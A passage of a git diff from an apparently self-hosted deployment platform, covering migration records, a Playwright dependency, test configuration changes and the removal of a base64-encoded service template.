'2023_12_01_095356_add_custom_fluentd_config_for_logdrains', 115); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (116, '2023_12_08_162228_add_soft_delete_services', 116); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (117, '2023_12_11_103611_add_realtime_connection_problem', 117); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (118, '2023_12_13_110214_add_soft_deletes', 118); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (119, '2023_12_17_155616_add_custom_docker_compose_start_command', 119); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (120, '2023_12_18_093514_add_swarm_related_things', 120); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (121, '2023_12_19_124111_add_swarm_cluster_grouping', 121); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (122, '2023_12_30_134507_add_description_to_environments', 122); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (123, '2023_12_31_173041_create_scheduled_tasks_table', 123); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (124, '2024_01_01_231053_create_scheduled_task_executions_table', 124); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (125, '2024_01_02_113855_add_raw_compose_deployment', 125); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (126, '2024_01_12_123422_update_cpuset_limits', 126); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (127, '2024_01_15_084609_add_custom_dns_server', 127); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (128, '2024_01_16_115005_add_build_server_enable', 128); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (129, '2024_01_21_130328_add_docker_network_to_services', 129); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (130, '2024_01_23_095832_add_manual_webhook_secret_bitbucket', 130); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (131, '2024_01_23_113129_create_shared_environment_variables_table', 131); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (132, '2024_01_24_095449_add_concurrent_number_of_builds_per_server', 132); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (133, '2024_01_25_073212_add_server_id_to_queues', 133); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (134, '2024_01_27_164724_add_application_name_and_deployment_url_to_queue', 134); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (135, '2024_01_29_072322_change_env_variable_length', 135); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (136, '2024_01_29_145200_add_custom_docker_run_options', 136); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (137, '2024_02_01_111228_create_tags_table', 137); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (138, '2024_02_05_105215_add_destination_to_app_deployments', 138); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (139, '2024_02_06_132748_add_additional_destinations', 139); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (140, '2024_02_08_075523_add_post_deployment_to_applications', 140); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (141, '2024_02_08_112304_add_dynamic_timeout_for_deployments', 141); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (142, '2024_02_15_101921_add_consistent_application_container_name', 142); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (143, '2024_02_15_192025_add_is_gzip_enabled_to_services', 143); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (144, '2024_02_20_165045_add_permissions_to_github_app', 144); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (145, '2024_02_22_090900_add_only_this_server_deployment', 145); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (146, '2024_02_23_143119_add_custom_server_limits_to_teams_ultimate', 146); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (147, '2024_02_25_222150_add_server_force_disabled_field', 147); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (148, '2024_03_04_092244_add_gzip_enabled_and_stripprefix_settings', 148); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (149, '2024_03_07_115054_add_notifications_notification_disable', 149); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (150, '2024_03_08_180457_nullable_password', 150); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (151, '2024_03_11_150013_create_oauth_settings', 151); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (152, '2024_03_14_214402_add_multiline_envs', 152); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (153, '2024_03_18_101440_add_version_of_envs', 153); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (154, '2024_03_22_080914_remove_popup_notifications', 154); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (155, '2024_03_26_122110_remove_realtime_notifications', 155); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (156, '2024_03_28_114620_add_watch_paths_to_apps', 156); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (157, '2024_04_09_095517_make_custom_docker_commands_longer', 157); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (158, '2024_04_10_071920_create_standalone_keydbs_table', 158); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (159, '2024_04_10_082220_create_standalone_dragonflies_table', 159); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (160, '2024_04_10_091519_create_standalone_clickhouses_table', 160); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (161, '2024_04_10_124015_add_permission_local_file_volumes', 161); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (162, '2024_04_12_092337_add_config_hash_to_other_resources', 162); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (163, '2024_04_15_094703_add_literal_variables', 163); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (164, '2024_04_16_083919_add_service_type_on_creation', 164); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (165, '2024_04_17_132541_add_rollback_queues', 165); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (166, '2024_04_25_073615_add_docker_network_to_application_settings', 166); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (167, '2024_04_29_111956_add_custom_hc_indicator_apps', 167); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (168, '2024_05_06_093236_add_custom_name_to_application_settings', 168); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (169, '2024_05_07_124019_add_server_metrics', 169); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (170, '2024_05_10_085215_make_stripe_comment_longer', 170); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (171, '2024_05_15_091757_add_commit_message_to_app_deployment_queue', 171); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (172, '2024_05_15_151236_add_container_escape_toggle', 172); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (173, '2024_05_17_082012_add_env_sorting_toggle', 173); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (174, '2024_05_21_125739_add_scheduled_tasks_notification_to_teams', 174); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (175, '2024_05_22_103942_change_pre_post_deployment_commands_length_in_applications', 175); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (176, '2024_05_23_091713_add_gitea_webhook_to_applications', 176); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (177, '2024_06_05_101019_add_docker_compose_pr_domains', 177); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (178, '2024_06_06_103938_change_pr_issue_commend_id_type', 178); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (179, '2024_06_11_081614_add_www_non_www_redirect', 179); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (180, '2024_06_18_105948_move_server_metrics', 180); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (181, '2024_06_20_102551_add_server_api_sentinel', 181); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (182, '2024_06_21_143358_add_api_deployment_type', 182); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (183, '2024_06_22_081140_alter_instance_settings_add_instance_name', 183); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (184, '2024_06_25_184323_update_db', 184); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (185, '2024_07_01_115528_add_is_api_allowed_and_iplist', 185); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (186, '2024_07_05_120217_remove_unique_from_tag_names', 186); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (187, '2024_07_11_083719_application_compose_versions', 187); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (188, '2024_07_17_123828_add_is_container_labels_readonly', 188); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (189, '2024_07_18_110424_create_application_settings_is_preserve_repository_enabled', 189); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (190, '2024_07_18_123458_add_force_cleanup_server', 190); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (191, '2024_07_19_132617_disable_healtcheck_by_default', 191); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (192, '2024_07_23_112710_add_validation_logs_to_servers', 192); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (193, '2024_08_05_142659_add_update_frequency_settings', 193); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (194, '2024_08_07_155324_add_proxy_label_chooser', 194); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (195, '2024_08_09_215659_add_server_cleanup_fields_to_server_settings_table', 195); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (196, '2024_08_12_131659_add_local_file_volume_based_on_git', 196); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (197, '2024_08_12_155023_add_timezone_to_server_and_instance_settings', 197); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (198, '2024_08_14_183120_add_order_to_environment_variables_table', 198); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (199, '2024_08_15_115907_add_build_server_id_to_deployment_queue', 199); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (200, '2024_08_16_105649_add_custom_docker_options_to_dbs', 200); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (201, '2024_08_27_090528_add_compose_parsing_version_to_services', 201); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (202, '2024_09_05_085700_add_helper_version_to_instance_settings', 202); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (203, '2024_09_06_062534_change_server_cleanup_to_forced', 203); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (204, '2024_09_07_185402_change_cleanup_schedule', 204); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (205, '2024_09_08_130756_update_server_settings_default_timezone', 205); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (206, '2024_09_16_111428_encrypt_existing_private_keys', 206); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (207, '2024_09_17_111226_add_ssh_key_fingerprint_to_private_keys_table', 207); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (208, '2024_09_22_165240_add_advanced_options_to_cleanup_options_to_servers_settings_table', 208); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (209, '2024_09_26_083441_disable_api_by_default', 209); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (210, '2024_10_03_095427_add_dump_all_to_standalone_postgresqls', 210); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (211, '2024_10_10_081444_remove_constraint_from_service_applications_fqdn', 211); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (212, '2024_10_11_114331_add_required_env_variables', 212); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (213, '2024_10_14_090416_update_metrics_token_in_server_settings', 213); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (214, '2024_10_15_172139_add_is_shared_to_environment_variables', 214); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (215, '2024_10_16_120026_move_redis_password_to_envs', 215); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (216, '2024_10_16_192133_add_confirmation_settings_to_instance_settings_table', 216); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (217, '2024_10_17_093722_add_soft_delete_to_servers', 217); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (218, '2024_10_22_105745_add_server_disk_usage_threshold', 218); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (219, '2024_10_22_121223_add_server_disk_usage_notification', 219); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (220, '2024_10_29_093927_add_is_sentinel_debug_enabled_to_server_settings', 220); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (221, '2024_10_30_074601_rename_token_permissions', 221); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (222, '2024_11_02_213214_add_last_online_at_to_resources', 222); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (223, '2024_11_11_125335_add_custom_nginx_configuration_to_static', 223); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (224, '2024_11_11_125366_add_index_to_activity_log', 224); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (225, '2024_11_22_124742_add_uuid_to_environments_table', 225); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (226, '2024_12_05_091823_add_disable_build_cache_advanced_option', 226); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (227, '2024_12_05_212355_create_email_notification_settings_table', 227); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (228, '2024_12_05_212416_create_discord_notification_settings_table', 228); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (229, '2024_12_05_212440_create_telegram_notification_settings_table', 229); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (230, '2024_12_05_212546_migrate_email_notification_settings_from_teams_table', 230); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (231, '2024_12_05_212631_migrate_discord_notification_settings_from_teams_table', 231); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (232, '2024_12_05_212705_migrate_telegram_notification_settings_from_teams_table', 232); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (233, '2024_12_06_142014_create_slack_notification_settings_table', 233); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (234, '2024_12_09_105711_drop_waitlists_table', 234); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (235, '2024_12_10_122142_encrypt_instance_settings_email_columns', 235); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (236, '2024_12_10_122143_drop_resale_license', 236); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (237, '2024_12_11_135026_create_pushover_notification_settings_table', 237); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (238, '2024_12_11_161418_add_authentik_base_url_to_oauth_settings_table', 238); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (239, '2024_12_13_103007_encrypt_resend_api_key_in_instance_settings', 239); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (240, '2024_12_16_134437_add_resourceable_columns_to_environment_variables_table', 240); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (241, '2024_12_17_140637_add_server_disk_usage_check_frequency_to_server_settings_table', 241); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (242, '2024_12_23_142402_update_email_encryption_values', 242); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (243, '2025_01_05_050736_add_network_aliases_to_applications_table', 243); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (244, '2025_01_08_154008_switch_up_readonly_labels', 244); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (245, '2025_01_10_135244_add_horizon_job_details_to_queue', 245); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (246, '2025_01_13_130238_add_backup_retention_fields_to_scheduled_database_backups_table', 246); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (247, '2025_01_15_130416_create_docker_cleanup_executions_table', 247); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (248, '2025_01_16_110406_change_commit_message_to_text_in_application_deployment_queues', 248); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (249, '2025_01_16_130238_add_finished_at_to_executions_tables', 249); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (250, '2025_01_21_125205_update_finished_at_timestamps_if_not_set', 250); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (251, '2025_01_22_101105_remove_wrongly_created_envs', 251); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (252, '2025_01_27_102616_add_ssl_fields_to_database_tables', 252); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (253, '2025_01_27_153741_create_ssl_certificates_table', 253); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (254, '2025_01_30_125223_encrypt_local_file_volumes_fields', 254); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (255, '2025_02_27_125249_add_index_to_scheduled_task_executions', 255); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (256, '2025_03_01_112617_add_stripe_past_due', 256); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (257, '2025_03_14_140150_add_storage_deletion_tracking_to_backup_executions', 257); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (258, '2025_03_21_104103_disable_discord_here', 258); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (259, '2025_03_26_104103_disable_mongodb_ssl_by_default', 259); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (260, '2025_03_29_204400_revert_some_local_volume_encryption', 260); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (261, '2025_03_31_124212_add_specific_spa_configuration', 261); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (262, '2025_04_01_124212_stripe_comment_nullable', 262); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (263, '2025_04_17_110026_add_application_http_basic_auth_fields', 263); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (264, '2025_04_30_134146_add_is_migrated_to_services', 264); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (265, '2025_05_26_100258_add_server_patch_notifications', 265); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (266, '2025_05_29_100258_add_terminal_enabled_to_server_settings', 266); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (267, '2025_06_06_073345_create_server_previous_ip', 267); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (268, '2025_06_16_123532_change_sentinel_on_by_default', 268); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (269, '2025_06_25_131350_add_is_sponsorship_popup_enabled_to_instance_settings_table', 269); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (270, '2025_06_26_131350_optimize_activity_log_indexes', 270); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (271, '2025_07_14_191016_add_deleted_at_to_application_previews_table', 271); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (272, '2025_07_16_202201_add_timeout_to_scheduled_database_backups_table', 272); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (273, '2025_08_07_142403_create_user_changelog_reads_table', 273); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (274, '2025_08_17_102422_add_disable_local_backup_to_scheduled_database_backups_table', 274); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (275, '2025_08_18_104146_add_email_change_fields_to_users_table', 275); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (276, '2025_08_18_154244_change_env_sorting_default_to_false', 276); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (277, '2025_08_21_080234_add_git_shallow_clone_to_application_settings_table', 277); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (278, '2025_09_05_142446_add_pr_deployments_public_enabled_to_application_settings', 278); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (279, '2025_09_10_172952_remove_is_readonly_from_local_persistent_volumes_table', 279); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (280, '2025_09_10_173300_drop_webhooks_table', 280); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (281, '2025_09_10_173402_drop_kubernetes_table', 281); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (282, '2025_09_11_143432_remove_is_build_time_from_environment_variables_table', 282); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (283, '2025_09_11_150344_add_is_buildtime_only_to_environment_variables_table', 283); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (284, '2025_09_17_081112_add_use_build_secrets_to_application_settings', 284); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (285, '2025_09_18_080152_add_runtime_and_buildtime_to_environment_variables_table', 285); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (286, '2025_10_03_154100_update_clickhouse_image', 286); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (287, '2025_10_07_120723_add_s3_uploaded_to_scheduled_database_backup_executions_table', 287); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (288, '2025_10_08_181125_create_cloud_provider_tokens_table', 288); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (289, '2025_10_08_185203_add_hetzner_server_id_to_servers_table', 289); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (290, '2025_10_09_095905_add_cloud_provider_token_id_to_servers_table', 290); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (291, '2025_10_09_113602_add_hetzner_server_status_to_servers_table', 291); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (292, '2025_10_09_125036_add_is_validating_to_servers_table', 292); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (293, '2025_11_02_161923_add_dev_helper_version_to_instance_settings', 293); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (294, '2025_11_09_000001_add_timeout_to_scheduled_tasks_table', 294); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (295, '2025_11_09_000002_improve_scheduled_task_executions_tracking', 295); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (296, '2025_11_10_112500_add_restart_tracking_to_applications_table', 296); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (297, '2025_11_12_130931_add_traefik_version_tracking_to_servers_table', 297); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (298, '2025_11_12_131252_add_traefik_outdated_to_email_notification_settings', 298); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (299, '2025_11_12_133400_add_traefik_outdated_thread_id_to_telegram_notification_settings', 299); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (300, '2025_11_14_114632_add_traefik_outdated_info_to_servers_table', 300); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (301, '2025_11_16_000001_create_webhook_notification_settings_table', 301); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (302, '2025_11_16_000002_create_cloud_init_scripts_table', 302); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (303, '2025_11_17_092707_add_traefik_outdated_to_notification_settings', 303); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (304, '2025_11_18_083747_cleanup_dockerfile_data_for_non_dockerfile_buildpacks', 304); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (305, '2025_11_26_124200_add_build_cache_settings_to_application_settings', 305); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (306, '2025_11_28_000001_migrate_clickhouse_to_official_image', 306); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (307, '2025_12_04_134435_add_deployment_queue_limit_to_server_settings', 307); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (308, '2025_12_05_000000_add_docker_images_to_keep_to_application_settings', 308); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (309, '2025_12_05_100000_add_disable_application_image_retention_to_server_settings', 309); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (310, '2025_12_08_135600_add_performance_indexes', 310); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (311, '2025_12_10_135600_add_uuid_to_cloud_provider_tokens', 311); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (312, '2025_12_15_143052_trim_s3_storage_credentials', 312); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (313, '2025_12_17_000001_add_is_wire_navigate_enabled_to_instance_settings_table', 313); +INSERT INTO "migrations" ("id", "migration", "batch") VALUES (314, '2025_12_17_000002_add_restart_tracking_to_standalone_databases', 314); diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml index 9e4c6b8b1..acc84b61a 100644 --- a/docker-compose.dev.yml +++ b/docker-compose.dev.yml @@ -26,6 +26,8 @@ services: volumes: - .:/var/www/html/:cached - dev_backups_data:/var/www/html/storage/app/backups + networks: + - coolify postgres: pull_policy: always ports: diff --git a/package-lock.json b/package-lock.json index 6244197fb..59d678c4f 100644 --- a/package-lock.json +++ b/package-lock.json @@ -10,7 +10,8 @@ "@tailwindcss/typography": "0.5.16", "@xterm/addon-fit": "0.10.0", "@xterm/xterm": "5.5.0", - "ioredis": "5.6.1" + "ioredis": "5.6.1", + "playwright": "^1.58.2" }, "devDependencies": { "@tailwindcss/postcss": "4.1.18", @@ -2338,6 +2339,50 @@ "url": "https://github.com/sponsors/jonschlinkert" } }, + "node_modules/playwright": { + "version": "1.58.2", + "resolved": "https://registry.npmjs.org/playwright/-/playwright-1.58.2.tgz", + "integrity": "sha512-vA30H8Nvkq/cPBnNw4Q8TWz1EJyqgpuinBcHET0YVJVFldr8JDNiU9LaWAE1KqSkRYazuaBhTpB5ZzShOezQ6A==", + "license": "Apache-2.0", + "dependencies": { + "playwright-core": "1.58.2" + }, + "bin": { + "playwright": "cli.js" + }, + "engines": { + "node": ">=18" + }, + "optionalDependencies": { + "fsevents": "2.3.2" + } + }, + "node_modules/playwright-core": { + "version": "1.58.2", + "resolved": "https://registry.npmjs.org/playwright-core/-/playwright-core-1.58.2.tgz", + "integrity": "sha512-yZkEtftgwS8CsfYo7nm0KE8jsvm6i/PTgVtB8DL726wNf6H2IMsDuxCpJj59KDaxCtSnrWan2AeDqM7JBaultg==", + "license": "Apache-2.0", + "bin": { + "playwright-core": "cli.js" + }, + "engines": { + "node": ">=18" + } + }, + "node_modules/playwright/node_modules/fsevents": { + "version": "2.3.2", + "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.2.tgz", + "integrity": "sha512-xiqMQR4xAeHTuB9uWm+fFRcIOgKBMiOBP+eXiyT7jsgVCq1bkVygt00oASowB7EdtpOHaaPgKt812P9ab+DDKA==", + "hasInstallScript": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": "^8.16.0 || ^10.6.0 || >=11.0.0" + } + }, "node_modules/postcss": { "version": "8.5.6", "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.5.6.tgz", diff --git a/package.json b/package.json index dc4b912ea..81cd8c9a4 100644 --- a/package.json +++ b/package.json @@ -24,6 +24,7 @@ "@tailwindcss/typography": "0.5.16", "@xterm/addon-fit": "0.10.0", "@xterm/xterm": "5.5.0", - "ioredis": "5.6.1" + "ioredis": "5.6.1", + "playwright": "^1.58.2" } -} \ No newline at end of file +} diff --git a/phpunit.xml b/phpunit.xml index 38adfdb6f..6716b6b84 100644 --- a/phpunit.xml +++ b/phpunit.xml @@ -7,17 +7,20 @@ ./tests/Feature + + ./tests/v4 + - - - - - - + + + + + + diff --git a/resources/views/auth/register.blade.php b/resources/views/auth/register.blade.php index 0cf1a2772..f7ab57a14 100644 --- a/resources/views/auth/register.blade.php +++ b/resources/views/auth/register.blade.php @@ -1,7 +1,9 @@ environment('local') ? $localValue : ''); +if (! function_exists('getOldOrLocal')) { + function getOldOrLocal($key, $localValue) + { + return old($key) != '' ? old($key) : (app()->environment('local') ? $localValue : ''); + } } $name = getOldOrLocal('name', 'test3 normal user'); diff --git a/templates/service-templates-latest.json b/templates/service-templates-latest.json index 3c5773d0e..5f53721fb 100644 --- a/templates/service-templates-latest.json +++ b/templates/service-templates-latest.json @@ -2681,24 +2681,6 @@ "minversion": "0.0.0", "port": "8065" }, - "maybe": { - "documentation": "https://github.com/maybe-finance/maybe?utm_source=coolify.io", - "slogan": "Maybe, the OS for your personal finances.", - "compose": "c2VydmljZXM6CiAgbWF5YmU6CiAgICBpbWFnZTogJ2doY3IuaW8vbWF5YmUtZmluYW5jZS9tYXliZTpsYXRlc3QnCiAgICB2b2x1bWVzOgogICAgICAtICdhcHBfc3RvcmFnZTovcmFpbHMvc3RvcmFnZScKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfVVJMX01BWUJFCiAgICAgIC0gU0VMRl9IT1NURUQ9dHJ1ZQogICAgICAtICdSQUlMU19GT1JDRV9TU0w9JHtSQUlMU19GT1JDRV9TU0w6LWZhbHNlfScKICAgICAgLSAnUkFJTFNfQVNTVU1FX1NTTD0ke1JBSUxTX0FTU1VNRV9TU0w6LWZhbHNlfScKICAgICAgLSAnR09PRF9KT0JfRVhFQ1VUSU9OX01PREU9JHtHT09EX0pPQl9FWEVDVVRJT05fTU9ERTotYXN5bmN9JwogICAgICAtICdTRUNSRVRfS0VZX0JBU0U9JHtTRVJWSUNFX0JBU0U2NF82NF9TRUNSRVRLRVlCQVNFfScKICAgICAgLSBEQl9IT1NUPXBvc3RncmVzCiAgICAgIC0gJ1BPU1RHUkVTX0RCPSR7UE9TVEdSRVNfREI6LW1heWJlLWRifScKICAgICAgLSAnUE9TVEdSRVNfVVNFUj0ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU30nCiAgICAgIC0gJ1BPU1RHUkVTX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICAgIC0gREJfUE9SVD01NDMyCiAgICAgIC0gJ1JFRElTX1VSTD1yZWRpczovL2RlZmF1bHQ6JHtTRVJWSUNFX1BBU1NXT1JEX1JFRElTfUByZWRpczo2Mzc5LzEnCiAgICAgIC0gJ09QRU5BSV9BQ0NFU1NfVE9LRU49JHtPUEVOQUlfQUNDRVNTX1RPS0VOfScKICAgIGRlcGVuZHN